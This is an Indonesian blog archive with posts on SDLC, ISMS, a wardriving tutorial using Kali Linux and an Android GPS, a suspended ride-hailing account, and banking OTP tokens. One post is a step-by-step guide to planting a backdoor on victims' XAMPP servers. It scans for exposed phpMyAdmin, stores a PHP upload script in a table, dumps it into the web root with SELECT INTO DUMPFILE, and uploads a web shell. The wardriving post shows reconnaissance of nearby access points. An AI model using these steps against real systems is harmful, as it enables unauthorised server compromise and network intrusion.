Saturday, July 8, 2017

Pengertian SDLC & Contoh


SDLC (Systems Development Life Cycle, Siklus Hidup Pengembangan Sistem) atau Systems Life Cycle (Siklus Hidup Sistem) bersifat rekayasa sistem serta rekayasa perangkat lunak, merupakan sebuah proses pembuatan dan pengubahan sistem serta model dan metodologi yang biasa digunakan sebagai pengembangan sistem-sistem tersebut. Konsep-konsep tersebut biasanya tertuju pada sistem komputer atau informasi.

SDLC juga berbentuk pola-pola yang diambil bertujuan untuk mengembakan sistem perangkat lunak, sebagian besar terdiri dari beberapa tahap seperti : rencana (planning), analisis (analysis), desain(design), implementasi (implementation), uji coba (testing), dan pengelolaan (maintenance).


Menurut Kendal, 2006 SDLC merupakan pendekatan secara bertahap untuk melakukan analisa serta membangun rancangan sistem menggunakan siklus yang spesifik kepada kegiatan pengguna.
System Development Life Cycle (SDLC) juga sebagai pusat pengembangan sistem informasi yang efisien, Valacich, George, & Hoffer, 2012 juga berpendapat selain itu SDLC terdiri dari 4 kunci, yaitu :

  1. Perencanaan dan seleksi
  2. Analisis
  3. Desain
  4. Implementasi dan operasional
Pendapat dari Dennis, Wixom, & Tegarden, 2005 ialah proses memahami bagaimana Sistem Informasi bisa mendukung berbagai kebutuhan seperti bisnis, merancang sistem, membangun sistem, dan memberikannya kepada pengguna.

Berdasarkan pada penjelasan diatas maka SDLC dapat disimpulkan sebagai sebuah siklus untuk membangun sistem dan memberikannya kepada pengguna melalui tahapan perencanaan, analisa, perancangan dan implementasi dengan cara memahami dan menyeleksi keadaan dan proses yang dilakukan pengguna untuk dapat mendukung kebutuhan pengguna. Untuk menggunakan SDLC hal yang dibutuhkan seperti sumber data awal dari pengguna yang akan dijadikan acuan dalam perencanaan, analisa, perancangan dan implementasi.

Berikut ini adalah penjelasan proses tahapan SDLC, yaitu :
1. Perencanaan
Fase perencanaan adalah sebuah proses dasar untuk memahami mengapa sebuah sistem harus dibangun. Pada fase ini diperlukan analisa kelayakan dengan mencari data atau melakukan proses information gathering kepada pengguna.

2. Analisa
Fase analisa adalah sebuah proses investigasi terhadap sistem yang sedang berjalan dengan tujuan untuk mendapatkan jawaban mengenai pengguna sistem, cara kerja sistem dan waktu penggunaan sistem. Dari proses analisa ini akan didapatkan cara untuk membangun sistem baru.

3. Rancangan
Fase perancangan merupakan proses penentuan cara kerja sistem dalam hal architechture design, interface design, database dan spesifikasi file, dan program design. Hasil dari proses perancangan ini akan didapatkan spesifikasi system.

4. Implementasi
Fase implementasi adalah proses pembangunan dan pengujian sistem, instalasi sistem, dan rencana dukungan sistem.

Setelah selesai paham tentang SDLC langkah selanjutnya ialah bagaimana cara mengimplementasikannya, berikut beberapa metodoli yang bisa di implementasikan kepada SDLC :
1. Waterfall Model
Merupakan model yang paling banyak dipakai didalam Software Engineering (SE). Model ini melakukan pendekatan secara sistematis dan urut mulai dari level kebutuhan sistem lalu menuju ke tahap analisis, desain, coding, testing / verification, dan maintenance. Disebut dengan waterfall karena tahap demi tahap yang dilalui harus menunggu selesainya tahap sebelumnya dan berjalan berurutan. Roger S. Pressman memecah model ini menjadi 6 tahapan, yaitu :
  1. Sistem modeling
  2. Analisis kebutuhan software
  3. Desain
  4. Coding
  5. Testing                                                                   
  6. Maintenance
Keuntungan menggunakan teknik waterfall :
  • Proses menjadi teratur
  • Jadwal menjadi lebih menentu
Kelemahan menggunakan teknik waterfall :
  • Membutuhkan daftar kebutuhan yang lengkap di awal, tapi jarang konsumen bisa memberikan kebutuhan secara lengkap diawal.
2. Prototype
Prototyping adalah salah satu pendekatan dalam rekayasa perangkat lunak yang secara langsung mendemonstrasikan bagaimana sebuah perangkat lunak atau komponen-komponen perangkat lunak akan bekerja dalam lingkungannya sebelum tahapan konstruksi aktual dilakukan (Howard, 1997). Beberapa model prototype adalah sebagai berikut :
  1. Reusable prototype : Prototype yang akan ditransformasikan menjadi produk final.
  2. Throwaway prototype : Prototype yang akan dibuang begitu selesai menjalankan maksudnya.
  3. Input/output prototype : Prototype yang terbatas pada antar muka pengguna (user interface).
  4. Processing prototype : Prototype yang meliputi perawatan file dasar dan proses-proses transaksi
  5. System prototype : Prototype yang berupa model lengkap dari perangkat lunak.
Proses pada model prototyping adalah sebagai berikut :
  1. Pengumpulan kebutuhan
  2. Perancangan
  3. Evaluasi prototype
Keuntungan menggunakan prototype model, yaitu :
  • Prototyping adalah model aktif, tidak pasif, sehingga end user dapat melihat, merasakan, dan mengalaminya.
  • Kesalahan yang terjadi dalam prototyping dapat dideteksi lebih dini.
Kekurangan menggunakan prototype model, yaitu :
  • Prototyping tidak menolak kebutuhan dari fase analisis sistem. Prototype hanya dapat memecahkan masalah yang salah dan memberi kesempatan sebagai sistem pengembangan konvensional.
  • Prototyping dapat mengurangi kreatifitas perancangan.
3. RAD (Rapid Application Development)
Rapid application development (RAD) atau rapid prototyping adalah model proses pembangunan perangkat lunak yang tergolong dalam teknik incremental (bertingkat). RAD menekankan pada siklus pembangunan pendek, singkat, dan cepat. Waktu yang singkat adalah batasan yang penting untuk model ini. Rapid application development menggunakan metode iteratif (berulang) dalam mengembangkan sistem dimana working model (model bekerja) sistem dikonstruksikan di awal tahap pengembangan dengan tujuan menetapkan kebutuhan (requirement) user. RAD mengadopsi model waterfall dan pembangunan dalam waktu singkat dicapai dengan menerapkan component based construction.

4. Agile Software Development
Agile merupakan adalah jenis pegembangan sistem jangka pendek yang memerlukan adaptasi cepat dan pengembang terhadap perubahan dalam bentuk apapun. Dalam Agile Software Development interaksi dan personel lebih penting dari pada proses dan alat, software yang berfungsi lebih penting daripada dokumentasi yang lengkap, kolaborasi dengan klien lebih penting dari pada negosiasi kontrak, dan sikap tanggap terhadap perubahan lebih penting daripada mengikuti rencana. Agile juga dapat diartikan sebagai sekelompok metodologi pengembangan software yang didasarkan pada prinsip-prinsip yang sama atau pengembangan system jangka pendek yang memerlukan adaptasi cepat dari pengembang terhadap perubahan dalam bentuk apapun.

Sumber 1
Sumber 2

Saturday, June 10, 2017

Pengertian, Manfaat Perlindungan Terhadap Aspek-Aspek (Confidentiality, Integrity, Availability) Pada Information Security Management System (ISMS)


Apa itu ISMS?
Information Security Management System (ISMS) adalah rencana manajemen yang berfokus untuk kebutuhan-kebutuhan yang di implementasikan kepada kontrol keamanan dengan kesesuaian dan kebutuhan dari suatu organisasi. ISMS juga dapat sebagai pelindung aset informasi dari kebanyakan gangguan yang bisa merusak keamanan yang telah ada.

sebagai contoh ISO27K merupakan sebuah seri dari standari internasional untuk manajemen keamanan informasi. Cakupannya untuk seluruh organisasi, antara lain perusahaan komersial, agen pemerintahan, organisasi nir-laba, dsb. Untuk ukurannya bisa mencakup dari seluruh ukuran bisnis dari yg kecil sampai persuhaan besar multinasional. Servis keamanan yang utama yang harus diperhatikan adalah sebagai berikut :

  1. Information Confidentiality  (Kerahasiaan Informasi)
  2. Information Integrity (Integritas Informasi)
  3. Service Availability (Ketersediaan servis)

Dalam menjaga sebuah keamanan Manajemen Keamanan Informasi mempunyai 3 lapis jaminan layanan keamanan informasi, berikut 3 lapisan kemanannya :
  1. Confidentiality (Kerahasiaan) : adapun kerahasiaan merupakan hal yang sangat wajib bagi sebuah keamanan, mengapa? karena sudah dipastikan untuk mengetahui sebuah informasi yang di inginkan orang tertentu sudah dibatasi oleh perusahaan yang berwenang dan bisa menjamin kerahasiaan daya yang di kirim, diterima, ataupun disimpan.
  2. Integrity (Integritas) : aspek ini bertujuan untuk menyatakan bahwa data tidak bisa di modifikasi tanpa izin dari pihak berwenang (authorized), serta menjaga ke akuratan data yang dapat di pertanggung jawabkan dan informasi yang masih lengkap.
  3. Availability (Ketersediaan) : Untuk bagian ini terjaminnya data selalu tersedia saat dibutuhkan oleh user lain. Dipastikan user bisa mendapatkan sebuah informasi yang sudah ada dari perangkat yang terkait (aset yang berhubungan jika diperlukan).

ISMS juga mempunyai beberapa standarisasi sebuah model dengan nama PDCA (Plan, Do, Check, Act). PDCA ini di aplikasikan ke beberapa struktur dalam seluruh proses-proses ISMS.


  1. Plan merupakan sebuah proses membangun ISMS dengan beberapa cara kebijakan yang telah di setujui bersama, dengan ke objektifan di ISMS termasuk membangun prosedur yang memperhatikan atau menekankan pada pengelola resiko
  2. Do bisa melakukan proses implementasi dan pengoperasian ISMS yang telah di rencanakan oleh model sebelumnya.
  3. Check adalah proses mengecek atau memonitoring juga peninjauan ISMS dengan cara pengukuran performa kepada kontrol yang telah di aplikasikan, termasuk kebijakan, dan pada akhirnya mengeluarkan hasil yang ada untuk ditinjau kembali oleh manajemen.
  4. Act dari peninjauan manajemen merupakan langkah sebelumnya, tahapan selanjutnya dari ISMS yang telah diterapkan akan mengambil tempatnya sesuai dengan ketetapan.
Apa yang dirasakan dari manfaatnya ISMS?
Beberapa manfaat yang akan di peroleh dari Information Security Management System (ISMS), yaitu :
  1. ISO 27001 menuntut Anda untuk terus meningkatkan keamanan informasi dari perusahaan Anda. Hal ini membuat Anda dapat lebih menentukan jumlah keamanan yang tepat dibutuhkan di perusahaan anda. Sumber daya yang dihabiskan dalam jumlah yang tepat.
  2. Memberikan keyakinan dan jaminan kepada klien ataupun mitra dagang, bahwa perusahaan yang dikelola mempunyai manajemen keamanan informasi yang baik sesuai standar internasional. Selain itu, ISO 27001 dapat digunakan pula untuk mempromosikan perusahaan.
  3. Memastikan bahwa organisasi Anda memiliki kontrol terkait keamanan informasi terhadap lingkungan bisnis, pada prosesnya yang mungkin akan menimbulkan resiko atau gangguan.
  4. Operasional organisasi atau perusahaan akan berjalan baik karena tugas dan tanggung jawab serta proses bisnis terdefinisi dengan jelas.
  5. Membantu organisasi dalam menjalankan perubahan-perubahan baik yang berkesinambungan dalam pengelolaan keamanan informasi.

Wednesday, May 24, 2017

How to WarDriving with KALI LINUX 2.0 & ANDROID Smartphone


Kesempatan kali ini saya mau share cara melakukan WARDRIVING menggunakan KALI LINUX 2.0 dan ANDROID SMARTPHONE.

1. Bahan yang dibutuhkan untuk melakukan war driving yaitu:
  • Laptop dengan OS KALI LINUX 2.0
  • USB Wireless Adapter support monitoring n injection (ane pake Alfa AWUS036NHA)
  • Smartphone Android (ane pakai Samsung Galaxy S5)

2. Jangan lupa untuk menginstall BlueNMEA pada sistem android anda, bisa di cari di google playstore gratissss...

3. setelah itu pada terminal install beberapa aplikasi dibawah ini:
  • gpsd
  • gpsd-clients
  • android-sdk
~# apt-get update && apt-get install android-sdk gpsd gpsd-clients
4. Langkah selanjutnya adalah hubungkan smartphone dan usb wireless ke laptop, aktiftan USB DEBUGGING MODE pada smartphone, aktifkan tethering android serta jalankan aplikasi blueNMEA yang telah terinstal tadi

5. Kemudian pada terminal ketik kode dibawah ini untuk menginstall adb yaitu android debug bridge
 ~# android
Kemudian akan terbuka jendela android SDK manager, pilih/centang Android SDK Tools dan Android SDK Platforms Tools. klik updates dan klik install.


6. Setelah terinstall kita jalankan adb tadi dengan mengetik kode dibawah ini:
~# cd /usr/share/android-sdk/platform-tools/
~# ./adb devices
~# ./adb forward tcp:4352 tcp:4352  
  
7. Setelahnya jangan lupa untuk mengaktifkan mode monitoring wireless adapter kita yaitu dengan mengetik kode dibawah ini:
~# airmon-ng check kill
~# airmon-ng start wlan1 
(wlan1 karena menggunakan wireless adapter usb, wlan0 adalah wireless adaptor laptop)


8. Kemudian jalankan gpsd untuk menshare gps android sistem dengan sistem kali linux 2.0 yang kita miliki, dengan menggunakan kode dibawah ini:
~# service gpsd stop
~# gpsd -N -n -D 5 tcp://localhost:4352
Jika berhasil maka pada terminal akan tampak seperti dibawah ini:


Dan pada smart phone android akan tampak seperti dibawah ini:


9. Langkah selanjutnya adalah menjalankan kismet pada terminal baru untuk menangkap sinyal wifi, dengan menggunakan kode dibawah ini:
~# kismet
Setelah berjalan akan tampak seperti gambar dibawah ini, garis merah menandakan gps terhubung dengan kali linux 2.0 kita


10. Setelah itu kita bisa melakukan wardriving dengan kendaraan roda empat. Karena saya belom ada mobil jadi hanya dilakukan ditempat 

11. setelah selesai melakukan wardriving maka langkah selanjutnya adalah membaca hasil dari wardrving yang telah dilakukan.
Pertama : matikan kismet dan gpsd dengan menekan CTRL-C
Kedua : melihat hasil capture dari kismet, file yang akan digunakan adalah file berekstensi .netxml
Ketiga : mengubah file ekstensi .netxml ke file ekstensi .kml agar bisa terbaca pada google earth. caranya adalah
~# ls
~# giskismet -x Kismet-20151118-16-18-34-1.netxml
~# giskismet -q "select * from wireless" -o tutor1.kml
hasil diatas akan tampak seperti gambar dibawah ini:


kemudian buka folder home dan copy-paste tutor1.kml untuk dibuka di google earth.


karena di linux belum terintall google earth maka ane buka lewat smart phone ane dan hasilnya tampak seperti gambar dibawah ini:


Keterangan warna :
  1. Merah bahwa AP tidak terenkripsi
  2. Orange bahwa AP terenkripsi dengan WEP
  3. Hijau bahwa AP terenkripsi dengan WPA/WPA2
Sekian Tutorial dari saya maaf kalo sedikit berantakan
Semoga Bermanfaat...
Thanks.

Inject Backdoor via PHPMYADMIN


Pertama saya ingin memberikan keterangan apa itu Backdoor, karena kita akan membahas seputar Backdoor untuk menggunakan tutorial dibawah ini.

Backdoor pada awalnya dibuat oleh para programer komputer sebagai mekanisme yang mengizinkan mereka untuk memperoleh akses khusus ke dalam program mereka, seringnya digunakan untuk membenarkan dan memperbaiki kode di dalam program yang mereka buat ketika sebuah crash akibat bug terjadi.

Oke singkat cerita kita akan langsung masuk inti penjelasannya, yang sesuai judul. Peralatan tambahan yang digunakann :

  • Angry Ip Scanner
  • Sedikit Script
  • Shell Backdoor (Disini ane menggunkana shell 3CArmy)
Pertama kita cari dulu targetnya menggunakan Anggry Ip Scanner, Set Anggry Ip Scannernya seperti gambar di bawah ini :
Menu tools  >>> Preferences >> Pada tab port tambahkan port yg akan kita scan
berhubung server pada localhost biasanya menggunakan port 80 / 8080 maka settingan punya sendiri dibuat begini :


Kemudian pada tab display pilih yang host with open port only


Selanjutnya balik lagi pada menu tool >>>  Fetchers
Pindahkan web detect ke sebelah kiri seperti di gambar


oke , untuk setingan Anggry Ip Scanner nya selesai ... 
Selanjutnya sebagai dasar untuk scann, disini ane menggunakan IP ane sendiri , misal IP ane 192.168.52.100 maka pada Angry Ip Scanner ane buat jadi seperti ini :


kemudian scan dan cari yg seperti ini :


yap .. yang port apachenya open tentunya , karna dari situlah kita masuk 

NB : Tidak semua juga yang bisa , ada yg phpmyadminnya di password , ada yg memang hanya bisa di akses dari localhost/pc korban itu sendiri ( xampp terbaru kalo gak salah )

setelah mendapatkan target, buka ip target tersebut di web browser, maka kita akan masuk ke halaman awal web servernya ( xampp, appserv, etc )


oke , disini kita mulai bermain dengan comand sql nya ...
Pertama kita buat database baru untuk tempat backdoor yang akan kita masukkan
create database userform

NB : userform adalah nama database yang dibuat

Kemudian kita buat tabel dan collumnya dengan cara klik pada database yang sudah kita buat kemudian pilih SQL dan masukkan comand :
CREATE TABLE `userform`.`user` (
`form` longtext not null
) ENGINE = MYISAM ;
klik Go

NB: userform = nama database , user = nama tabel , form = nama column ( silahkan buat sesuka anda ), longtext = jenis data ( ane buat longtext karna script uploadnya lumayan panjang)

selanjutnya kita cek basedir nya dimana dengan comand :
select @@datadir
pada contoh ini ada di C:\xampp\mysql\data\



artinya target menggunkan xampp , dan dir xampp biasanya di : C:/xampp/htdocs
oke .. selanjutnya masih di tabel user, klik SQL dan masukkan script di bawah ini :
INSERT INTO `userform`.`user` (
`form`
)
VALUES (
'<title>Upload File</title>
<style type="text/css">
<!--
body,td,th {
color: #0F0;
}
body {
background-color: #999;
}
-->
</style><p>
<form method="POST" action="" enctype="multipart/form-data" >
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
<p>
<strong>
<?php
if ($_FILES[''file''] != '''') {
copy($_FILES[''file''][''tmp_name''], $_FILES[''file''][''name'']) or die (''Proses upload Gagal: '');
}else {
die(''Silahkan pilih file'');
}
?>
File berhasil diupload:<br />
Keterangan File:<br />
Nama File: <?php echo $_FILES[''file''][''name'']; ?><br />
Ukuran File: <?php echo $_FILES[''file''][''size''];?> Bytes <br />
Jenis File: <?php echo $_FILES[''file''][''type'']; ?></strong></p>
'
);
itu adalah script buat ngupload file backdoor kita nantinya ...

Jika sukses maka akan muncul seperti ini :


Next Step masih di tabel user, buka lagi comand SQL dan masukkan comand :
select * into dumpfile 'C:/xampp/htdocs/upload.php' from user
NB: 
C:/xampp/htdocs/ = dir xampp ( karna korban menggunakan xampp pada tutorial ini )
upload.php = nama file untuk script upload yg kita masukkan tadi pada langkah sebelumnya
from user = from (nama tabel)

Kemudian klik Go

Coba buka urlnya : victimip/upload.php
terahir silahkan upload shell anda , untuk akses shell : victimip/namashell.php

Maaf untuk beberapa step terakhir gak ada gambarnya dikarenakan target udah offline. Jadi hal ini hanya bisa dilakukan selama target online dan menjalankan server apachenya...

Saturday, April 22, 2017

Blokir Akun Dari Ojek Online


PENDAHULUAN

1. Latar Belakang
Dalam kehidupan di zaman sekarang yang sudah berbasis online, semua sudah di mudahkan dengan adanya jasa transportasi online. Baik itu dari kendaraan roda 2 hingga kendaraan roda 4, sampai banyak masyarakat yang menjadikannya sebagai mata pencarian sampingan untuk menambah pemasukan agar bisa hidup lebih layak di kerasnya ekonomi ibu kota.

Transportasi Online sendiri mempunyai definisi suatu transportasi (kendaraan) berbasis aplikasi yang digunakan di sebuah smartphone, dan driver diwajibkan untuk bisa mengoperasikan aplikasi tersebut di smartphonenya. Di dalam aplikasi tersebut akan diketahui secara detail tentang jarak, lama pemesanan, harga, nama driver, serta perusahaan pengelolanya.

Kemanan bagi penumpang sudah termasuk terjamin karena seluruh identitas driver sudah diketahui secara pasti, sebab perusahaan pengelola telah melakukan proses verifikasi terlebih dahulu sebelum melakukan kerjasama kemitraan.

Berikut hal-hal yang dapat diketahui oleh pelanggan saat order jasa transportasi online :

  • Identitas Pelanggan
  • Mudah menemukan tukang ojek
  • Tidak perlu tawar menawar
  • Bisa menemukan pengendara yang tahu lokasi tujuan
  • Mengetahui harga secara pasti sebelum berangkat.
  • Foto pengendara

Sebaliknya jika dari pihak pengendara atau driver, sudah tidak perlu menawarkan kepada pelanggan lagi dengan jasanya cukup mengambil order yang sudah ada jika ada pelanggan yang membutuhkannya.

2. Tujuan Studi Kasus
Pembahasan studi kasus ini dilaksanakan agar banyak pengguna yang menggunakan jasa transportasi online tidak sampai melanggar aturan yang sudah ditetapkan oleh masing-masing perusahaan pengelola transportasi online.

Dari wujud studi kasus ini sama sekali tidak bermaksud untuk menjelekkan ataupun yang membuat pihak pengelola transportasi online merasa disalahkan dari sebuah pelanggaran-pelanggaran yang telah dilakukan.


ISI LAPORAN

1. Identitas Kasus
Langkah ini dimaksudkan untuk mengenal kasus beserta gejala-gejala yang terjadi. Dalam kasus ini penulis sudah mengumpulkan beberapa perkiraan yang mengakibatkan terjadinya kasus ini.

1.1 Pengumpulan Data

  • Nama Jasa Transportasi Online      : Ojek Online "G"
  • Tempat                                                 : Jakarta
  • Tanggal Kejadian                            : 10 April 2017
  • Pengaduan                                       : Customer Service

2. Hasil Kejadian
Dalam jasa transportasi online ada beberapa peraturan yang memang tidak boleh sampai dilanggar karena sanksi dari tiap aturannya berbeda-beda.


Untuk kasus saat ini terjadi karena beberapa faktor tentang adanya aktifitas mencurigakan yang diperkirakan oleh pengelola transportasi online tersebut. Untuk studi kasus ini akun yang telah dibuat karena melanggar karena aktivitas mencurigakan sampai dibekukan atau biasa disebut dengan suspend. Dari gambar yang ada diberitahukan akses untuk aplikasi dihentikan berarti tidak boleh digunakan lagi dari data yang telah di daftarkan baik itu email dan nomor hp.


Di dalam sebuah notifikasi juga di cantumkan sebuah link agar pengguna ingin mengajukan naik banding jika tidak melakukan aktivitas mencurigakan tersebut.

Tapi dalam kasus ini saya sendiri sebagai yang mengalami kejadian tersebut sudah 3x melakukan naik banding tentang akun yang telah di bekukan tapi tidak diterima mungkin terkait hal-hal lain yang hanya pihak pengelola yang mengetahui.

Jika kalian yang mengalami hal serupa dan ingin melakukan naik banding hanya tinggal klik link formulir tersebut. Untuk tampilan dimana kalian akan mengajukan naik banding bisa melihat dibawah ini :






Dari gambar yang sudah ada bisa dilihat disitu sudah ada kebijakan-kebijakan yang mengharus pengguna untuk naik banding jika merasa keberatan dengan pembekuan akun. Untuk kolom yang disediakan dibutuhkan Nama, Nomor Telepon, Alamat E-mail yang pernah di daftar kan untuk akun yang telah dibekukan.

Setelah kolom identitas untuk pengguna ada catatan dari pengelola tujuan dari adanya naik banding. dsitu tertulis :
Tujuan Naik Banding dibuat*
Silahkan Jelaskan, alasan pengaktifan ulang Aplikasi G***Taxi, silahkan tambahan rincian pemesanan, nomor telepon dan yang lainnya, yang akan memberi penjelasan lebih lanjut terhadap permohonan anda.
 Mungkin jika diterima oleh pihak pengelolanya akan langsung diberitahukan melalui e-mail yang sudah di masukan di kolom naik banding.

Dari kejadian masalah yang sudah berlangsung hampir 70% jarang bisa naik banding dan diharuskan melewati kepada customer service yang sudah tertera dibawah web pengelolanya tersebut. Dari pihak customer service juga bisa di informasikan jika pembekuan tidak hanyak dari akun tetapi langsung dari data handphone yang berakibat jika ingin melakukan pembuatan ulang tidak akan bisa.

Ada juga yang menginformasikan dari driver bahwa jika pengguna terkena pembekuan akun langsung terkena dari IMEI nomor telepon yang digunakan jadi harus menggunakan nomor telepon dan juga e-mail baru saat ingin pembuatan ulang.

Hal itu sudah dilakukan tetap hal ini tidak bisa dilakukan dan informasi yang diberikan dari customer service menggunakan device (perangkat) lain yang belom pernah ter-install aplikasi tersebut.


KESIMPULAN

Dari isi laporan dapat disimpulkan bahwa salah satu pengelola transportasi online membuat sebuah peraturan yang bisa dibilang sangat ketat agar menjadi keamanan tersendiri baik itu untuk pengelolanya maupun sistem lainnya.

Tidak semuanya dengan keamanan lebih membuat nyaman pengguna bahkan bisa membuat kerepotan untuk menggunakannya lagi, apalagi dengan adanya pembekuan data handphone sehingga bisa dibilang harus mengganti perangkat handphone dengan yang lain jika ingin menggunakan aplikasi tersebut.

Saran & Kritik
Untuk memberikan sebuah saran di studi kasus kali ini mungkin dari penulis yang mengalami kejadian tersebut. Disini saya mencantumkan beberapa saran serta kritik agar yang membacanya memahami.
  • Lebih baik untuk keamanan sistemnya diubah karena menyusahkan bagi sebagian besar pengguna yang tidak memahami langkah-langkah naik banding.
  • Untuk melakukan naik banding sebaiknya di beritahukan pendapat jika sudah mengisi formulir dengan membalas melalui e-mail yang telah dicantumkan.
  • Jika tidak ada pemberitahuan setelah pengajuan naik banding hal ini membuat pengguna yang akunnya telah dibekukan menjadi tidak tertarik lagi sehingga pindah ke jasa transportasi online lain.
  • Untuk customer servicenya juga harus bisa memberikan informasi yang jelas dan mudah dipahami untuk pengguna, karena saya sendiri pun belom mengetahui apa yang menyebabkan akun saya dibekukan.
  • Untuk pihak pengelolanya jangan hanya menginformasikan beberapa kode-kode diskon tetapi lebih mengecek apa kepuasan pengguna sudah tercukupi apa belum, dengan tidak melihat dari kepuasan saat setelah order.
  • Lebih memperhatikan kembali kasus dari naik banding bagi pengguna, karena hal tersebut sangat penting sebab adanya jasa berarti harus digunakan oleh pengguna dan membuat pengguna tetap tertarik dengan tawaran-tawaran lainnya.

Sumber Struktur : Pertama , Kedua , Ketiga 
Sumber Studi Kasus : Dialami Sendiri

Saturday, April 8, 2017

Memahami Cara Kerja Token Internet Banking


Token atau Access Token, dalam arsitektur Windows NT adalah sebuah objek sistem operasi (yang diberi nama "Token") yang merepresentasikan subjek dalam beberapa operasi pengaturan akses (access control). Objek Token umumnya dibuat oleh layanan logon (logon service) untuk merepresentasikan informasi keamanan yang diketahui mengenai sebuah pengguna yang lolos proses autentikasi (authenticated user). Objek token digunakan oleh komponen sistem operasi Windows NT yang menangani masalah keamanan, yaitu Security Reference Monitor (SRM).

Authentication Method
Otentikasi bertujuan untuk membuktikan siapa anda sebenarnya, apakah anda benar-benar orang yang anda klaim sebagai dia (who you claim to be). Ada banyak cara untuk membuktikan siapa anda. Metode otentikasi bisa dilihat dalam 3 kategori metode:

1. Something You Know
Ini adalah metode otentikasi yang paling umum. Cara ini mengandalkan kerahasiaan informasi, contohnya adalah password dan PIN. Cara ini berasumsi bahwa tidak ada seorangpun yang mengetahui rahasia itu kecuali anda seorang.

2. Something You Have
Cara ini biasanya merupakan faktor tambahan untuk membuat otentikasi menjadi lebih aman. Cara ini mengandalkan barang yang sifatnya unik contohnya adalah kartu magnetik/smartcard, hardware token, USB token dan sebagainya. Cara ini berasumsi bahwa tidak ada seorangpun yang memiliki barang tersebut kecuali anda seorang.

3. Something You Are
Ini adalah metode yang paling jarang diapakai karena faktor teknologi dan manusia juga. Cara ini mengandalkan keunikan bagian-bagian tubuh anda yang tidak mungkin ada pada orang lain seperti sidik jari, suara atau sidik retina. Cara ini berasumsi bahwa bagian tubuh anda seperti sidik jari dan sidik retina, tidak mungkin sama dengan orang lain.

Lalu bagaimana dengan metode otentikasi tradisional seperti tanda tangan di atas materai? Masuk ke kategori manakah cara itu dari ketiga metode di atas? Saya pikir tidak ada yang cocok, karena itu saya tambahkan satu lagi yaitu “Something You Can“. Cara ini berasumsi bahwa tidak ada orang lain di dunia ini yang bisa melakukan itu selain anda. Memang otentikasi dengan tanda tangan dibangun di atas asumsi itu, tidak ada yang bisa menuliskan tanda tangan anda kecuali anda. Walaupun pada kenyataannya ada saja orang yang bisa meniru tanda tangan anda dengan sangat baik, namun walaupun menyadari fakta tersebut tanda tangan di atas kertas tetap diakui sebagai bukti otentik atas siapa anda.

Two Factor Authentication
Pada aplikasi yang kritis dan sensitif seperti transaksi keuangan, satu metode otentikasi saja tidak cukup. Oleh karena itu muncul istilah 2FA (Two Factor Authentication) yang merupakan sistem otentikasi yang menggunakan 2 faktor (metode) yang berbeda. Empat metode otentikasi yang sudah saya jelaskan sebelunya dapat dikombinasikan untuk meningkatkan keamanan, salah satu contohnya adalah dengan kombinasi “something you have” berupa kartu ATM dengan “something you know” berupa PIN. Kombinasi ini merupakan kombinasi yang paling banyak dipakai.

Contoh kasus lain adalah ketika anda berbelanja di pasar modern dan membayar dengan kartu, tanpa disadari anda telah memakai lebih dari satu faktor otentikasi. Faktor yang pertama adalah “Something You Have” yaitu kartu debit/kredit anda. Faktor kedua adalah “Something You Know”, ketika anda diminta memasukkan PIN ke dalam mesin EDC. Bahkan mungkin ada faktor ketiga yaitu “Something You Can”, ketika anda diminta menanda-tangani nota pembayaran yang dicetak mesin EDC.

Internet banking juga menggunakan two factor authentication dengan mengombinasikan “something you know” berupa password dan “something you have” berupa hardware token (keyBCA atau Token Mandiri).

Password yang Dikeluarkan Token Internet Banking
Pada umumnya ada dua mode pemakaian token internet banking:

1. Mode Challenge/Response (C/R)
Ini adalah mode yang paling sering dipakai ketika bertransaksi. Dalam mode ini server memberikan challenge berupa sederetan angka. Angka tersebut harus dimasukkan kedalam mesin token untuk mendapatkan jawaban (response). Kemudian pengguna memasukkan angka yang muncul pada tokennya ke dalam form di situs internet banking. Token akan mengeluarkan kode yang berbeda-beda walaupun dengan challenge code yang sama secara periodik tergantung waktu ketika challenge dimasukkan ke dalam token.

2. Mode Self Generated (Response Only)
Dalam mode ini server tidak memberikan tantangan (challenge) apapun. Token pengguna bisa langsung mengeluarkan sederetan angka tanpa harus memasukkan challenge. Seperti mode C/R, token juga mengeluarkan kode yang berbeda-beda secara periodik tergantung waktu ketika token diminta untuk menghasilkan kode self generated.

Sebenarnya jawaban yang diberikan oleh token baik dalam mode C/R maupun Self Generated(resopnse only) tidak lain adalah password juga. Namun berbeda dengan password yang anda pakai untuk login, password yang dihasilkan token ini memiliki keterbatasan untuk alasan keamanan, yaitu:

1. Hanya boleh dipakai 1 kali
Ini disebut dengan OTP (One Time Password). Setelah suatu password dipakai, maka password yang sama tidak bisa lagi dipakai untuk kedua kalinya. Dengan cara ini tidak ada gunanya menyadap password yang dihasilkan token karena password tersebut tidak bisa dipakai lagi. Namun bila password tersebut di-intercept sehingga tidak pernah sampai ke server, maka password tersebut masih berharga karena di mata server, password itu belum pernah dipakai.

2. Hanya boleh dipakai dalam rentang waktu yang terbatas
Password yang dihasilkan token memiliki umur yang sangat terbatas, mungkin antara 3-6 menit bila umurnya habis maka password itu tidak bisa dipakai, walaupun belum pernah dipakai. Nanti akan saya jelaskan mengapa password token memerlukan umur, waktu merupakan unsur yang sangat kritikal dalam sistem ini.

3. Hanya boleh dipakai dalam konteks sempit
Bila password/PIN yang dipakai untuk login adalah password yang bebas konteks, dalam arti dengan berbekal password itu, anda bisa melakukan banyak hal, mulai dari melihat saldo, mengecek transaksi dan sebagainya. Namun password yang dihasilkan token, hanya bisa dipakai dalam konteks sempit, contohnya password yang dipakai untuk mengisi pulsa ke nomor 08123456789, tidak bisa dipakai untuk melakukan transfer dana.

Terbatasnya konteks ini disebabkan karena untuk melakukan transaksi dibutuhkan password yang diikat oleh challenge dari server, sehingga password tersebut tidak bisa dipakai untuk transaksi lain yang membutuhkan challenge code yang berbeda. Contohnya bila challenge yang diberikan server adalah 3 digit terakhir dari nomor handphone (untuk transaksi isi pulsa), atau 3 digit terakhir nomor rekening tujuan (untuk transaksi transfer). Maka password yang dihasilkan token untuk transaksi isi pulsa ke nomor 0812555111222, akan valid juga untuk transaksi transfer uang ke rekening 155887723120222. Sebab kebetulan kedua transaksi tersebut membutuhkan password yang diikat oleh challenge code yang sama, yaitu 222 (diambil dari 3 digit terakhir).

Konteks ini hanya berlaku bila password dihasilkan dalam mode C/R. Password yang dihasilkan dalam mode Self Generated, bisa dipakai dalam transaksi apa saja yang tidak meminta password dengan challenge code.

Jadi bisa disimpulkan bahwa password yang dikeluarkan token bersifat:
  • Selalu berubah-ubah secara periodik
  • Memiliki umur yang singkat
  • Hanya bisa dipakai 1 kali
